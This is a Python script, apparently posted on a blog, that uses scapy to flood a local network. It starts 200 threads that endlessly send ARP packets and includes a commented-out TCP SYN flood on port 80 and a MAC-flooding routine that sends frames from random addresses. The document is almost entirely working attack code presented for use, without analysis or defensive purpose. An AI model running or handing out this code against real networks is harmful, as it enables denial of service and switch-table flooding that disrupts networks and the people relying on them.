# -*- coding: utf-8 -*- # @Time : 2022/6/7 11:09 # @Author : admin # @Email : 1985264689@qq.com # @File : flood.py.py # @Project : 项目 # @脚本说明 : import random,threading from scapy.layers.inet import IP,TCP from scapy.layers.l2 import ARP, Ether from scapy.sendrecv import send, sendp from scapy.volatile import RandMAC def scapy_flood(): while True: sport = random.randint(20000,30000) dst = '192.168.0.0' src = '192.168.17.0' # pkg = IP(src=src,dst=dst)/TCP(sport=sport,dport=80,flags='S') # send(pkg,verbose=False) arp = ARP(psrc=dst,pdst=dst) send(arp,verbose=False,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0) def mac_flood(): while True: randmac = RandMAC("*:*:*:*:*:*") print(randmac) srandip = f"192.168.17.{random.randint(1,254)}" drandip = f"192.168.248.{random.randint(1,254)}" print(srandip) pkg = Ether(src=randmac,dst=randmac)/IP(src=srandip,dst=drandip) sendp(pkg,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0) if __name__ == '__main__': for i in range(200): threading.Thread(target=scapy_flood).start() # mac_flood()
Python flood
最新推荐文章于 2024-09-04 07:05:26 发布